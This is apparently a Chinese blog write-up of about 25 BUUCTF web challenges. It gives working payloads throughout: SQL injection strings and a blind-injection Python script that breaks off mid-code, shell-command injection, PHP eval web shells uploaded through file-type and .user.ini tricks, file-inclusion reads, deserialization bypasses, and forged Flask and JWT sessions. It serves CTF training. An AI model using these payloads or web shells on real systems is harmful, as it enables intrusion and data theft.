web

web复现之buu初体验

Posted by inhann on 2021-02-04
Page views

[toc]

菜鸡刚开始刷buu的web题,记录一下前40道简单题的解题思路和过程

0x01 [强网杯 2019]随便注

闭合

1
?inject=1'%23

有报错信息回显

1
?inject=1'AND+updatexml(1,concat(0x7e,(select+user()),0x7e),1)%23

有信息回显

1
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

看来是关于拦截的信息

image-20210122185442534

1
?inject=1'AND+extractvalue(1,concat(0x7e,user(),0x7e))%23

得到user

1
error 1105 : XPATH syntax error: '~root@localhost~'

得到database

1
?inject=1'AND+extractvalue(1,concat(0x7e,database(),0x7e))%23
1
error 1105 : XPATH syntax error: '~supersqli~'
1
?inject=0'or+1=1%23

image-20210122202654090

把所有东西都返回了

能堆叠注入

1
show tables
1
2
3
4
5
6
7
<hr>array(1) {
[0]=>
string(16) "1919810931114514"
}
<br>array(1) {
[0]=>
string(5) "words"

使用handler查看表的内容

1
?inject=0';handler+`1919810931114514`+open+as+A;handler+A+read+first;handler+A+read+next;%23

image-20210122215438433

1
flag{bee56e24-1c09-4fba-8c08-e7c27cc69170}

0x02 [极客大挑战 2019]EasySQL

1
?username=admin&password=admin'or(1)%23

image-20210122215927325

1
flag{29e869ab-79d1-4974-b60d-86f0833546ac}

0x03 [极客大挑战 2019]Havefun

image-20210122220258976

源码提示

image-20210122220315623

1
flag{3e508e49-6380-47f9-b510-9ce21b72e0fc}

0x04 [SUCTF 2019]EasySQL

闭合

1
query=0%23

union 被拦截,from被拦截

报错不回显

可以试试看布尔盲注

1
query=database()%23

image-20210122222228699

1
ctf

database的名字叫ctf

猜测后端代码

1
2
3
4
5
$query = $_POST["query"];
check($query);
$r = mysql_exec('select $query');
var_dum($r);
......

image-20210122223226244

貌似还真的是

而且可以堆叠注入

image-20210122224212775

1
query=database();show tables;%23

image-20210122224302037

但是过滤了 handler

当输入的是0的时候,没有返回,其他时候都返回1

image-20210122232245843

很显然,直接输入的东西的后面有一个 or 运算,类似于 $query or 0

image-20210122232635091

随便试试

1
query=*,3

image-20210122232733877

竟然得到了flag

1
flag{f43b29fb-8d7b-4f4e-aa39-6e6a3a9c69e5}

看来这个select 语句肯定有个from Flag

可以猜测,长这样

1
2
3
4
5
$query = $_POST["query"];
check($query);
$r = mysql_exec('select $query or 0 from Flag');
var_dum($r);
......

0x05 [ACTF2020 新生赛]Include

用了filter伪协议

1
http://444e8eae-85a6-46b1-be9e-481c9a79fa5a.node3.buuoj.cn/?file=php://filter/read=convert.base64-encode/resource=index.php

解码以后得到index.php源码

1
2
3
4
5
6
7
8
9
10
11
12
13
<meta charset="utf8">
<?php
error_reporting(0);
$file = $_GET["file"];
if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
exit('hacker!');
}
if($file){
include($file);
}else{
echo '<a href="?file=flag.php">tips</a>';
}
?>

可能flag就在flag.php里面

1
http://444e8eae-85a6-46b1-be9e-481c9a79fa5a.node3.buuoj.cn/?file=php://filter/read=convert.base64-encode/resource=flag.php

解码得到

1
2
3
<?php
echo "Can you find out the flag?";
//flag{03cf7047-523b-45b1-a7f5-32ef111a3771}

0x06 [极客大挑战 2019]Secret File

image-20210122234957803

我点的是action.php但是最后跳转到了end.php

image-20210122235047225

抓个包看看

image-20210122235303667

1
secr3t.php

访问看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>

结果是一个文件的源码

用filter伪协议

1
http://7aaee179-70cb-4b9b-8c76-4edf46988d3e.node3.buuoj.cn/secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php

解码得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<!DOCTYPE html>

<html>

<head>
<meta charset="utf-8">
<title>FLAG</title>
</head>

<body style="background-color:black;"><br><br><br><br><br><br>

<h1 style="font-family:verdana;color:red;text-align:center;">啊哈!你找到我了!可是你看不到我QAQ~~~</h1><br><br><br>

<p style="font-family:arial;color:red;font-size:20px;text-align:center;">
<?php
echo "我就在这里";
$flag = 'flag{8eb6002b-013d-4700-8f94-d9e2f436e4c6}';
$secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd'
?>
</p>
</body>

</html>

0x07 极客大挑战 2019]LoveSQL

1
?username='union+select(1),2,3%23&password=admin'or(1)%23

image-20210123095611867

使用超级payload

1
?username='union+select(1),2,(select%20(@)%20from%20(select(@:=0x00),(select%20(@)%20from%20(information_schema.columns)%20where%20(table_schema%3E=@)%20and%20(@)in%20(@:=concat(@,0x0D,0x0A,'%20%5B%20',table_schema,'%20%5D%20%3E%20',table_name,'%20%3E%20',column_name,0x7C))))a)%23&password=admin'or(1)%23

image-20210123100041388

1
2
3
4
5
6
[ geek ] > geekuser > id|
[ geek ] > geekuser > username|
[ geek ] > geekuser > password|
[ geek ] > l0ve1ysq1 > id|
[ geek ] > l0ve1ysq1 > username|
[ geek ] > l0ve1ysq1 > password|

看看geek

1
?username='union+select(1),2,(select%20(@)%20from%20(select(@:=0x00),(select%20(@)%20from%20(geek.l0ve1ysq1)%20where%20(@)in%20(@:=concat(@,0x0D,0x0A,0x7C,'%20%5B%20',username,'%20%5D%20%3E%20',password,'%20%3E%20',0x7C))))a)%23&password=admin'or(1)%23

image-20210123100320339

得到flag

1
flag{f236ceea-d306-4184-87e7-83c133d23982}

0x08 [GXYCTF2019]Ping Ping Ping

1
?ip=127.0.0.1;ls

image-20210123100456125

拦截了空格和flag

用变量来看看index.php

1
?ip=127.0.0.1;ls;a=index.php;cat$IFS$a

image-20210123111721658

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "

";
print_r($a);
}

?>
1
?ip=127.0.0.1;ls;b=g.php;a=fla;cat$IFS$a$b

image-20210123112409988

1
flag{2c6f3541-384d-4633-9852-5355815a3a8e}

0x09 [RootersCTF2019]ImgXweb

从第一个非1分题开始做

image-20210123112618993

注册了一个账号hello 密码是hello

要上传文件,我就上传了个a.c

image-20210123113524254

然后发现了这个文件的位置

image-20210123113555813

1
static/167659824c454b631c7e455bb6103a50/a.c

尝试上传一个php马,但是发现没用,解析不了

注册的时候尝试admin,报错说已经有一个名为admin的账号了

扫描下目录,发现robots.txt

image-20210123135745271

但是是个这个东西

image-20210123135809516

1
you-will-never-guess

猜测是用python写的

看源码发现个提示

image-20210205125344698

1
<!-- https://bit.ly/IqT6zt -->

访问一下

但是是个歌舞视频,没什么用

image-20210205130016954

注册的时候

1
username=admin&password=admin

login 的时候也是直接

image-20210205130209544

1
username=hello&password=hello

登录进去之后

image-20210205141048323

发现seesion_id由三个部分构成,以 . 隔开,且前两个部分都只用到base64出现的字符,有个srect.txt,里面应该是某个算法的密钥,猜测用到了jwt,而且header和payload部分没有进行过加密,即只是用到了base64url

尝试一下base64decode

image-20210205142410048

1
{"typ":"JWT","alg":"HS256"}

第一部分,果然是jwt的头数据

image-20210205142512403

1
{"user":"hello"}

第二部分里面,是user名

找一个在线的jwt网站

image-20210205143133984

得到新的jwt

1
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiaGVsbG8ifQ.GCoJvts9SEgFOM4oSJsx0xTvvMRQQesiM13v8p_MfGE

更改之后就登录到admin了

image-20210205143327361

下载flag.png,然后用winhex打开

image-20210205143645733

得到flag

1
flag{31f30593-6fd2-4ff9-9968-0146109d8033}

0x0a [ACTF2020 新生赛]Exec

1
target=127.0.0.1;ls;cat index.php

看到源码

image-20210123141158665

1
2
3
4
5
<?php 
if (isset($_POST['target'])) {
system("ping -c 3 ".$_POST['target']);
}
?>

image-20210123141941557

1
flag{031a15aa-088d-4588-bc2e-c778dc0e6a67}

0x0b [护网杯 2018]easy_tornado

三个文件,点开看看

1
2
/flag.txt
flag in /fllllllllllllag
1
2
/welcome.txt
render
1
2
/hints.txt
md5(cookie_secret+md5(filename))

观察这个url

1
?filename=/hints.txt&filehash=906c350ef0749cc04e870fc4159fa9b8

很明显,为了得到flag,需要filehash参数

而为了得到filehash参数,就需要cookie_secret

发现一个报错页面

image-20210123143138537

有个参数,怀疑是ssti注入点

tornado一般模板

1
2
3
4
5
6
7
8
9
10
11
12
<html>
<head>
<title>{{ title }}</title>
</head>
<body>
<ul>
{% for item in items %}
<li>{{ escape(item) }}</li>
{% end %}
</ul>
</body>
</html>

看看tornado模板里面的alias们

image-20210123144457173

这些是可以直接访问的对象

其中handler所对应的RequestHandler的源码中

image-20210123145006696

可以看到返回了settings

那就直接调用这个handler.settings就行

1
{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': '1492390b-1ea6-4cc0-b8eb-bd5483a8b804'}

然后根据提示,解出来filehash

1
9ea0818965db2686bc9f00ec34ef0245
1
/file?filename=/fllllllllllllag&filehash=9ea0818965db2686bc9f00ec34ef0245
1
flag{ac5daf1c-8539-4403-858b-0f1dcf178bcd}

0x0c [极客大挑战 2019]Knife

送分题

直接post里面放代码

先看看 /

image-20210126125339363

image-20210126125403549

找到flag文件

接下来file_get_contents

image-20210126125621073

image-20210126125631497

1
string(43) "flag{815fa45a-2f26-42c0-bd2d-fcfa379223e7}

0x0d [RoarCTF 2019]Easy Calc

image-20210126133527270

一个计算器

用到ajax,有用到waf

image-20210126133553894

访问一下calc.php

1
node3.buuoj.cn:27735/calc.php

看到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>

而当num传入一个非数字时,就被拦截,这估计是waf搞的鬼

image-20210126134911543

php解析查询字符串时,会将变量名中的空白符删除,变量名中的一些字符转换为下划线

image-20210126141029275

试试看 %20num

1
?%20num=phpinfo()

image-20210126141106573

成功

1
?%20num=var_dump(scandir(chr(46)))

image-20210126141600786

1
?%20num=var_dump(scandir(chr(76)))

image-20210126141627866

发现flagg

1
?%20num=var_dump(file_get_contents(chr(0x2f).chr(0x66).chr(0x31).chr(0x61).chr(0x67).chr(0x67)))

image-20210126142023143

1
flag{29e94668-e02e-42eb-a133-bfe51804ee04}

0x0e [极客大挑战 2019]Http

看源码,看到一个Secret.php,点进去

image-20210126143128134

提示

1
It doesn't come from 'https://www.Sycsecret.com'

所以改一下reffer

image-20210126143251860

又提示

1
Please use "Syclover" browser

所以改一下user agent

image-20210126143416373

还是没完

1
No!!! you can only read this locally!!!

还要改一下 X-Forwarded-For

image-20210126143744465

1
flag{6ec3e040-5c8a-42db-9c2f-9ab646f20b3e}

0x0f [极客大挑战 2019]PHP

image-20210126144033335

有网站备份

估计是有backup而来

扫描一下

image-20210126221158865

有一个www.zip文件

下载来,能看到源码

index.php中php脚本部分

1
2
3
4
5
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>

而class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
include 'flag.php';


error_reporting(0);


class Name{
private $username = 'nonono';
private $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}

function __wakeup(){
$this->username = 'guest';
}

function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();


}
}
}
?>

所以最终要调用Name类的__destruct方法,且username强等于admin,且要保证password == 100,而且要注意,username和password是private

1
O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

而还有一个__wakeup要绕过,只要在这个序列里面稍作修改就行,把代表对象属性个数的2改成更大的数字3,然后就能绕过了

1
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

得到flag

image-20210126225352421

0x10 [极客大挑战 2019]Upload

先放一下最终payload

1
2
3
4
5
6
7
filename="geach1.phtml"
Content-Type: image/jpeg

GIF89a
<script language="php">
eval($_GET['kkk']);
</script>

GIF89a是gif的文件头

拦截了<?所以就以这种形式写php

拦截了php、php2345,但是没有拦截phtml

对content-type也进行了筛选,一定得是图片

image-20210126231626619

1
upload/geach1.phtml/?kkk=phpinfo();

尝试了一下,发现上传得到图片在upload里面

找到flag的位置

image-20210126231904586

得到flag

image-20210126231934852

1
flag{7f4761bb-1e32-4246-8d98-bc715e12e429}

0x11 [极客大挑战 2019]BabySQL

image-20210131131101491

过滤了or,尝试之后,猜测后端代码为

1
preg_replace("or","",$password);

可以用||,也可以双写过滤,即用 oorr

1
?username=admin&password=1'||1%23

image-20210131124726426

可以报错注入

1
username=admin&password=1'||updatexml(1,concat(0x7e,user(),0x7e),1)%23

image-20210131125031697

1
root@localhost

database为geek

image-20210131125136426

union 和 select 也被过滤了,但是都可以双写绕过

1
?username=admin&password=1'ununionion(seselectlect(1),(2),(3))%23

image-20210131125723625

where、 from 也被过滤了,同样可以双写绕过

1
?username=admin&password=1'ununionion(seselectlect(1),(2),(seselectlect(@p)frfromom(selselectect(@p:=0x00),(selselectect(@p)frfromom(infoorrmation_schema.columns)whwhereere(@p)in(@p:=concat(@p,0x0D,0x0A,0x5B,table_schema,0x5D,0x3E,table_name,0x3E,column_name,0x7C))))a))%23

image-20210131131156614

1
2
3
4
5
6
7
[ctf]>Flag>flag|
[geek]>b4bsql>id|
[geek]>b4bsql>username|
[geek]>b4bsql>password|
[geek]>geekuser>id|
[geek]>geekuser>username|
[geek]>geekuser>password|

看看ctf库的Flag表的flag字段

1
?username=admin&password=1'ununionion(seselectlect(1),(2),(seselectlect(@p)frfromom(selselectect(@p:=0x00),(selselectect(@p)frfromom(ctf.Flag)whwhereere(@p)in(@p:=concat(@p,0x0D,0x0A,0x5B,flag,0x5D))))a))%23

image-20210131131634381

1
flag{f18d434f-cab3-4c97-9f99-1b38b79d8c54}

0x12 [ACTF2020 新生赛]Upload

image-20210202141833765

把js关了

然后随便上传一个东西

image-20210202141916110

这样就成功上传了

然后上传php文件

但是被拦截了,打印了个

image-20210202141752274

先改一下content-type

1
Content-Type: image/jepg

还不够

发现geach.ph可以上传成功,应该没有内容检查,仅仅是后缀过滤

image-20210202142432999

php2就成功了

image-20210202142525735

1
./uplo4d/2928c20df8464007ad4848f0a2927502.php2

但是访问了却没有解析

image-20210202142749567

换一个试试看

php3被拦截了

image-20210202142840098

php4、php5都被拦截了,但是phtml没有被拦截

image-20210202143001277

1
./uplo4d/4340762024c421e8b8255db1d9c2a66e.phtml

访问一下

1
http://5f012b23-b093-4851-b357-4a95c0ed952a.node3.buuoj.cn/uplo4d/4340762024c421e8b8255db1d9c2a66e.phtml?kkk=var_dump(scandir("/"));

image-20210202143130477

1
http://5f012b23-b093-4851-b357-4a95c0ed952a.node3.buuoj.cn/uplo4d/4340762024c421e8b8255db1d9c2a66e.phtml?kkk=var_dump(file_get_contents("/flag"));

image-20210202143208695

1
flag{3972468d-f7a7-4907-a620-69046f332fd7}

0x13 [ACTF2020 新生赛]BackupFile

扫描一下,扫出来index.php.back

image-20210202162530032

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include_once "flag.php";

if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
1
?key=123

image-20210202162925716

根本没有难度

1
flag{3aa7ba8d-bc6d-45a6-b48a-5f737ed9376f}

0x14 [MRCTF2020]Ez_bypass

直接给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))
{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
}

}
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}
}Please input first

很简单的绕过

image-20210204214717894

1
flag{22724a04-5e03-463b-a756-0cb3e2c6fc40}

0x15 [极客大挑战 2019]BuyFlag

看源码发现注释里面有代码

image-20210202163752259

1
2
3
4
5
6
7
8
9
~~~post money and password~~~
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}
}
1
2
3
4
Cookie: UM_distinctid=17705637df30-08003bc12e4fd68-4c3f207e-e1000-17705637df4b3; user=0
Upgrade-Insecure-Requests: 1

password=404abc&money=100000000

image-20210202165356157

好像没什么用

提示说必须是CUIT的学生

实在不知道这怎么整,但是看到个user,试试看把这个0改成1

image-20210202165537454

竟然就是CUIT的学生了

然后提示

1
Nember lenth is too long

不知道说的是password还是money,估计是先strlen了money,然后将money和1000000进行比较

但是当money是aaaa的时候,却报错钱不够

image-20210202192256288

说明可能不是直接调用

1
strcmp($money,"100000000")

如果是用的strcmp,又要经过比较后,得出aaa小于100000000的结论,那么可能是加了intval,即

1
strcmp(intval($money),"100000000")

100000000是9位数字中最小的数字了,不可能找到一个长度比9小,而intval之后又要比100000000大的数字了,所以推测,这题用的不是strcmp

1
X-Powered-By: PHP/5.3.3

注意到php的版本

推测这题的后端代码大概是这样

1
2
3
4
5
6
7
8
9
10
$money = $_POST["money"];
if(strlen($money) >= 9){
echo "too long";
}
else if($money >= 100000000){
echo $flag;
}
else{
echo "not enough";
}

为什么不是”100000000”呢,因为如果是字符串,那么aa就比这个大了,但是 如果是数字100000000的话,那aa就被转成0

在以上情况下,$money可以为数组或者 1e9

image-20210202202849300

1
password=404abc&money=1e9s

image-20210202203008248

得到flag

1
password=404abc&money[]=0

image-20210202203027147

也得到flag

1
flag{a95db5a9-cc78-4272-87a0-67bc99182454}

0x16 [HCTF 2018]admin

试试看注册一个username为admin的账户,果然返回admin被注册了

image-20210202203722338

所以先随便注册一个

1
2
hello
hello

有一个/post可以访问,但是用hello账号访问时404notfound,猜测用admin登录会得到flag

image-20210202204033532

还可以修改密码

这时候就有思路了,可以修改admin账户的密码,或者注册一个 admin’#之类的账户

先试试看改密码

image-20210202204321422

可能是根据session来判断身份的

试试看抓注册的包

image-20210202204756373

经过尝试,发现注册的时候可能存在注入点

估计是执行insert语句,然后报错了

image-20210202205252747

image-20210202205230028

猜测一下后端代码,但是值得注意的是后端估计不是php开发的,大概率是python

1
2
3
4
5
6
7
8
9
username = req.params["username"]
password = req.params["password"]
check = "SELECT username from user_table where username='"+username+"'"
r = mysql_exec(conn,check)
if len(r)!=0:
erro()
insert = "INSERT user_table (username,password) values ('{%s}','{%s})"%(username,password)
r = mysql_exec(insert)
redirect()

如果有两步的话,就不知道这报错是第一步还是第二步的

所以最好把引号给闭合了

1
2
username='or 1 or'
yes

这样的话,估计就有一个username 为1的账号

但是报错了,估计用的是双引号

1
2
username="or 1 or"
yes

又报错了,感觉没戏

又来到change password页面,看看源码,看到一段注释

image-20210202211135551

1
<!-- https://github.com/woadsl1234/hctf_flask/ -->

访问一下

是源码

可以看到,index.html有对session[‘name’]进行判断,如果是admin,就会显示flag

image-20210202212223987

从而可以确定了,sql注入应该是没戏了

用到了flask,可以解密session看看session是基于什么东西生成的

image-20210203144552558

https://github.com/noraj/flask-session-cookie-manager

有专门的项目,破解flask的session

1
Cookie: UM_distinctid=17705637df30-08003bc12e4fd68-4c3f207e-e1000-17705637df4b3; session=.eJw9kM2KwkAQBl9l6bMHjXoJeIhMFA89wdCbMH0R18Qk86OQKBtHfPcdXPD80VVUP-Fw7uuhhfjW3-sJHLoK4id8_UAMvFUj-qqTYmOkTj1G6TKjtctE5ZDWOqPTQ1LVZYINi8KgLixrXEjHWlIyZ6emTHmryr2XwlqM9lPlc40-d1wWLQsVsT7NM1IP5ZuHFMZLSpeqVDMV7UYWlUGhFlLI4GsipqplV3S8za2ixKNTI2u20qUreE3gNPTnw-1q6ssnAX3imcKJC1q90Si-x6AIaBkQIY1yHVTzkGS4xF8mHDlZvXGdOzb1h1SYnS-b_-VydGGAtrb2ChO4D3X__hvMpvD6A7Ahb0Y.YBpCBQ.i3fX74MZZnyRO42VjT24cXjoQls
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)

decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True

try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')

if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')

return session_json_serializer.loads(payload)

if __name__ == '__main__':
# session = sys.argv[1]
session = ".eJw9kM2KwkAQBl9l6bMHjXoJeIhMFA89wdCbMH0R18Qk86OQKBtHfPcdXPD80VVUP-Fw7uuhhfjW3-sJHLoK4id8_UAMvFUj-qqTYmOkTj1G6TKjtctE5ZDWOqPTQ1LVZYINi8KgLixrXEjHWlIyZ6emTHmryr2XwlqM9lPlc40-d1wWLQsVsT7NM1IP5ZuHFMZLSpeqVDMV7UYWlUGhFlLI4GsipqplV3S8za2ixKNTI2u20qUreE3gNPTnw-1q6ssnAX3imcKJC1q90Si-x6AIaBkQIY1yHVTzkGS4xF8mHDlZvXGdOzb1h1SYnS-b_-VydGGAtrb2ChO4D3X__hvMpvD6A7Ahb0Y.YBpCBQ.i3fX74MZZnyRO42VjT24cXjoQls"
print(decryption(session.encode()))

得到

1
{'_fresh': True, '_id': b'df137b41d6133a990f87f10c97257b86dd5d25ef386fc507ff4e4aad349e3d4c4c34feead66f77962c82493519af5cb1d7d06843f186e7afebddea032f1f6e6a', 'csrf_token': b'303e5bfdc21c051511d3ea7b54ccb787dec0e31d', 'image': b'VB3Z', 'name': 'hello', 'user_id': '10'}

可见,用户名hello就在这里面

如果把name的值设为admin,然后生成一个session,就可以冒充admin登录了

要生成session

去config.py中找到secret_key

1
SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'

所以secret_key可以是ckj123

接下来生成session

1
ython .\flask_session_cookie_manager3.py encode -s 'ckj123' -t "{'_fresh': True, '_id': b'df137b41d6133a990f87f10c97257b86dd5d25ef386fc507ff4e4aad349e3d4c4c34feead66f77962c82493519af5cb1d7d06843f186e7afebddea032f1f6e6a', 'csrf_token': b'303e5bfdc21c051511d3ea7b54ccb787dec0e31d', 'image': b'VB3Z', 'name': 'admin', 'user_id': '10'}"

image-20210203145235373

1
.eJw9kEGLwjAQRv_KMmcPWvUieKikiodJscy2ZC6iprZNGhdaZduI_32DC54_5j3ePOF47cq-htW9e5QTODYaVk_4OsMKeKcG9LqRYmulSTxGyTKljUuFdkgbk9JllKSbVLBlkVs0ecsGF9KxkRTP2akpU1ar4uClaFuMDlPlM4M-c1zkNQsVsbnMU1Kj8tUohfWSkqUq1ExF-4GFtijUQgoZfFXEpGt2ecO7rFUUe3RqYMOtdMkaXhO49N31eP-x5e2TgD72TOHEBa3ZGhTfQ1AEtAyIkEaZCap5SLJc4C8TDhyv37jGnaryQ8rt3hfV_3I7uTDASbvmBhN49GX3_hvMpvD6A687bzs.YBpIKQ.aaxBjEPHdpKgsH2V5x99lnRWIHI

然后就可以去伪造了

image-20210203145435705

1
flag{3bec85bf-8725-4f38-8d68-5dd5fc969c9e}

0x17 [SUCTF 2019]CheckIn

拦截 <?

初步绕过

image-20210203150818555

但是,文件后缀是ph就会被拦截,而且区分大小写

但是其中有一个index.php,可以考虑写一个.user.ini看看

1
2
3
4
5
filename=".user.ini"
Content-Type: image/jpeg

GIF89a
auto_prepend_file = cmd.txt
1
2
3
4
5
6
7
filename="cmd.txt"
Content-Type: image/jpeg

GIF89a
<script language="php">
eval($_GET['kkk']);
</script>

image-20210203175029916

接下来访问index.php,理想情况可以执行木马

1
http://3a656e51-f708-4d5d-a5c0-2a497b0d9cd6.node3.buuoj.cn/uploads/852aff287f54bca0ed7757a702913e50/index.php?kkk=var_dump(scandir("/"));

image-20210203175151442

1
http://3a656e51-f708-4d5d-a5c0-2a497b0d9cd6.node3.buuoj.cn/uploads/852aff287f54bca0ed7757a702913e50/index.php?kkk=var_dump(file_get_contents("/flag"));

image-20210203175237018

1
flag{9e6845a8-71aa-4050-b843-337ef747be15}

0x18 [BJDCTF2020]Easy MD5

注释里面没有任何提示

抓包也没发现什么东西

看了看各个响应的文件的消息头

image-20210203181023344

Hint竟然在这里

1
select * from 'admin' where password=md5($pass,true)

参数为true,如果没有true,那么返回的是一个 0-9a-f的字符串,而加了true之后,就会unhex成字符串

ffifdyop经过md5后,是276f722736c95d99e921722cf9ed621c,unhex之后是 'or'6]!r,b

试试看

1
?password=ffifdyop

image-20210203183211946

成功跳转

看看源码

image-20210203183241724

1
2
3
4
5
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.

看来要满足这个条件

1
?a=QLTHNDT&b=QNKCDZO

又跳转了

image-20210203183501217

1
2
3
4
5
6
7
8
9
 <?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}

md5处理数组会返回NULL

1
param1[]=a&param2[]=b

image-20210203183949794

1
flag{3ca7ca5e-3b3a-4870-9d14-067308f5dcb4}

0x19 [ZJCTF 2019]NiZhuanSiWei

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>

直接给了源码

1
?text=data://TEXT/HTML,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php&password=hello

读一下useless.php

image-20210203190428800

1
2
3
4
5
6
7
8
9
10
11
12
<?php  
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>

可见flag在flag.php里面

1
http://b4dbe37d-a3be-430f-9631-10dc5dc14949.node3.buuoj.cn/?text=data://TEXT/HTML,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

image-20210203204446795

1
flag{560773ef-8b1f-4549-be23-04522902613e}

0x20 [CISCN2019 华北赛区 Day2 Web1]Hack World

看来是sql注入

单引号回显bool(false),而双引号被拦截,’#也被拦截,但是#本身没有被拦截

很奇怪,不知道怎么闭合的

1
id=0

image-20210203210547705

1
id=1

image-20210203210612276

试试看

1
id=1>2
1
id=1<2

image-20210203210656501

image-20210203210713357

是不一样的回显,而且对应1和0的情况

说明闭合没有用到引号

可以考虑在这个点进行布尔盲注

1
id=1=(ascii(substr(database(),1,1)))

image-20210203211533273

有ascii可以用,substr也没有被过滤

提示说flag在flag表的flag字段

1
id=(ascii(substr((select(flag)from(flag)),1,1)))

image-20210203213053794

可以进行盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import requests
from time import sleep
session = requests.session()
url = "http://4d428311-e831-4ac9-873d-46af3cb1c9f4.node3.buuoj.cn/index.php"
what_i_want = ""
count = 0
for i in range(1,50):
def what_i_want_i_less_than_or_equal_mid(mid):
global count
count += 1
print("on the {}th request now.... ".format(count))
payload = "(ascii(substr((select(flag)from(flag)),{},1))<={})".format(i,mid)
data = {"id":payload}
resp = session.post(url=url,data=data)
print(resp.status_code)
while resp.status_code==429:
print("429 !!! sleep(3)")
sleep(3)
